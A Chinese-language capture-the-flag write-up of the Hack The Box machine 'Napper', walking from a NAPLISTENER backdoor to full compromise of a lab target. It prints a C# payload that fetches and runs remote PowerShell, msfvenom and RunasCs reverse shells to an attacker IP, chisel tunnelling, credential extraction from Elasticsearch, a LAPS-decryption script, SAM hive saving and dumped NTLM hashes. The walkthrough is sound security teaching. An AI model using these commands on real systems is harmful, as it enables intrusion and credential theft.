基本信息

端口扫描

80,443:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nmap -sC -sV 10.10.11.240
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-13 13:28 CST
Nmap scan report for 10.10.11.240
Host is up (0.079s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://app.napper.htb
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: 2023-11-13T05:30:02+00:00; 0s from scanner time.
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-generator: Hugo 0.112.3
|_http-title: Research Blog | Home
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after: 2033-06-04T14:58:55
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.17 seconds

80/443

需要加hosts:

1
10.10.11.240 app.napper.htb

是一个安全研究博客:

子域名扫描

子域名扫描发现internal:

1
2
3
4
ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://app.napper.htb/" -H 'Host: FUZZ.napper.htb' -fs 5602

[Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 92ms]
* FUZZ: internal

添加hosts后访问,需要认证:

internal

根据前面博客里文章,就是用的示例密码:

1
New-LocalUser -Name "example" -Password (ConvertTo-SecureString -String "ExamplePassword" -AsPlainText -Force)

登录进internal blog,发现一篇新的博客:

是对NAPLISTENER的研究,并且也给出了相关参考资料:

并且根据博客中内容

1
这意味着对 /ews/MsExgHealthCheckd/ 的任何网络请求,只要在 sdafwe3rwe23 参数中包含 base64 编码的 .NET 程序集,都将在内存中加载并执行。值得注意的是,二进制文件是在一个单独的进程中运行的,它与运行中的 IIS 服务器没有直接关联。

我们可以猜测作者是直接在机器上运行测试这个后门,那么我们也可以尝试利用这个后门

NAPLISTENER

根据Elastic的分析文章,首先尝试调用后门接口:

(小坑,Host用app.napper.htb是404,改成napper.htb就200了)

下一步就是如何真的利用这个后门来执行代码,根据Elastic的分析文章,也很容易知道Listener的逻辑,Base64解码后加载加载运行Run:

shell

很简单的写一个执行命令的代码,编译后base64编码,注意ba se64中可能会出现加号,所以也要做一次url编码:

(代码写在Run class中,这样才会实际执行,只写在函数中会被加载但不会被自动执行)

(还有编译选项也会坑,一开始用的release x64不行,换成any cpu就正常了,,net版本用的是4.5.2)

Index.html里是powershell reverse代码,打到ruben用户:

shell.cs

这里用的是dll,用exe的话自己对应改代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Shell
{
public class Run
{
static void Main() {
System.Diagnostics.Process.Start("powershell.exe", "-nop -w hidden -c iex(iwr -useb 10.10.16.7).tostring()");
}

static int Exec() {
Main();
return 0;
}
int a = Exec();
}
}

user flag

ruben用户桌面:

信息

上个meterpreter方便后续操作:

1
2
3
4
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.16.7 LPORT=443 -f exe -o shell.exe

PS C:\windows\tasks> wget 10.10.16.7/shell.exe -O shell.exe
PS C:\windows\tasks> start-process shell.exe

简单枚举发现elasticsearch,文件中也可以得到elastic用户密码(文件名不固定也不唯一):

1
2
3
PS C:\Program Files\elasticsearch-8.8.0\data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index> type _ie.cfs | findstr pass

?reserv?5ed-user-elasticI{"password":"oKHzjZw0EGcRxT2cux5K","enabled":true,"[?reserved-user"}?

custom laps

另外temp目录下一层层往下翻可以看到自己实现的laps,用Elastic来管理,并且可以看到一个exe,应该就是用来管理密码的:

exe下载到本地分析:

1
2
cd C:\\Temp\\www\\internal\\content\\posts\\internal-laps-alpha
meterpreter > download a.exe

elasticsearch

转发端口出来查看:

1
2
3
4
5
6
7
# local
./chisel_1.7.0-rc7_darwin_amd64 server -p 9999 --reverse
# target
./chisel.exe client 10.10.16.7:9999 R:9200:127.0.0.1:9200

elastic
oKHzjZw0EGcRxT2cux5K

用的这个浏览器插件:

可以查看到seed和user-00001 ,seed应该是加密用到的seed,user-00001是加密密文,并且这两个数据看起来每分钟都在变:

a.exe

a.exe分析可以知道是golang,使用这个ghidra插件:

根据代码,ES中是seed和加密的blob,调用cmd使用net命令修改backup用户密码:

key

根据genKey函数,使用seed作为随机数种子,key的每个字节是生成的随机数+1:

encrypt

encrypt就是AES CFB之后base64:

Decrypt

根据分析结果,对应解密ES中的数据,得到backup用户最新密码(解出来的应该只有字母数字,如果是二进制数据那就是ES里某个数据已经更新了):

1
go run decrypt.go 51955490 mLkj8AVXM5it5MWOBPdMk0RemsLwp5JUJrCvHWe8zJfVucsXztLBBkiTh74zMdVq7RwmXGY7ILA=

使用得到的实时密码得到backup shell(操作要快,因为自动改密码太快了,另外需要--bypass-uac选项,不然得到的还有UAC,还要重做一次):

1
.\RunasCs.exe backup ytkCAMAGNEfDiMAvFpdEVGyNzQotkczpxOstRvNT cmd.exe -r 10.10.16.7:4444 --bypass-uac

decrypt.go

队友给的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"log"
"math/rand"
"os"
"strconv"
)

func checkErr(err error) {
if err != nil {
log.Fatal(err)
}
}

func genKey(seed int) (key []byte) {
rand.Seed(int64(seed))
for i := 0; i < 0x10; i++ {
val := rand.Intn(0xfe)
key = append(key, byte(val+1))
}
return
}

func decrypt(seed int, enc []byte) (data []byte) {
fmt.Printf("Seed: %v\n", seed)
key := genKey(seed)
fmt.Printf("Key: %v\n", key)
iv := enc[:aes.BlockSize]
fmt.Printf("IV: %v\n", iv)
data = enc[aes.BlockSize:]

block, err := aes.NewCipher(key)
checkErr(err)

stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(data, data)
fmt.Printf("Plaintext: %s\n", data)
return
}

func main() {
if len(os.Args) != 3 {
return
}
seed, err := strconv.Atoi(os.Args[1])
checkErr(err)
enc, err := base64.URLEncoding.DecodeString(os.Args[2])
checkErr(err)

decrypt(seed, enc)
}

backup & root flag

Bypass uac的backup顾名思义,有SeBackupPrivilege:

也可以简单的直接上meterpreter然后hashdump

1
2
3
reg save hklm\sam sam
reg save hklm\system system
C:\Windows\Tasks>powershell -c "start-process shell.exe"

root flag

其实backup用户已经是完全体了,可以直接读Administrator的root flag:

hashdump

1
2
3
4
5
6
7
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ed5cc50d93a33729acd6df740eecd86c:::
backup:1003:aad3b435b51404eeaad3b435b51404ee:9d0cc117881b64cedd0ec802558830d7:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
example:1002:aad3b435b51404eeaad3b435b51404ee:4da4a64845e9fbf07e0f7e236ca82694:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ruben:1001:aad3b435b51404eeaad3b435b51404ee:ae5917c26194cec4fc402490c7a919a7:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:49c2f41a954679b5f3a7ef12deab11e4:::

参考资料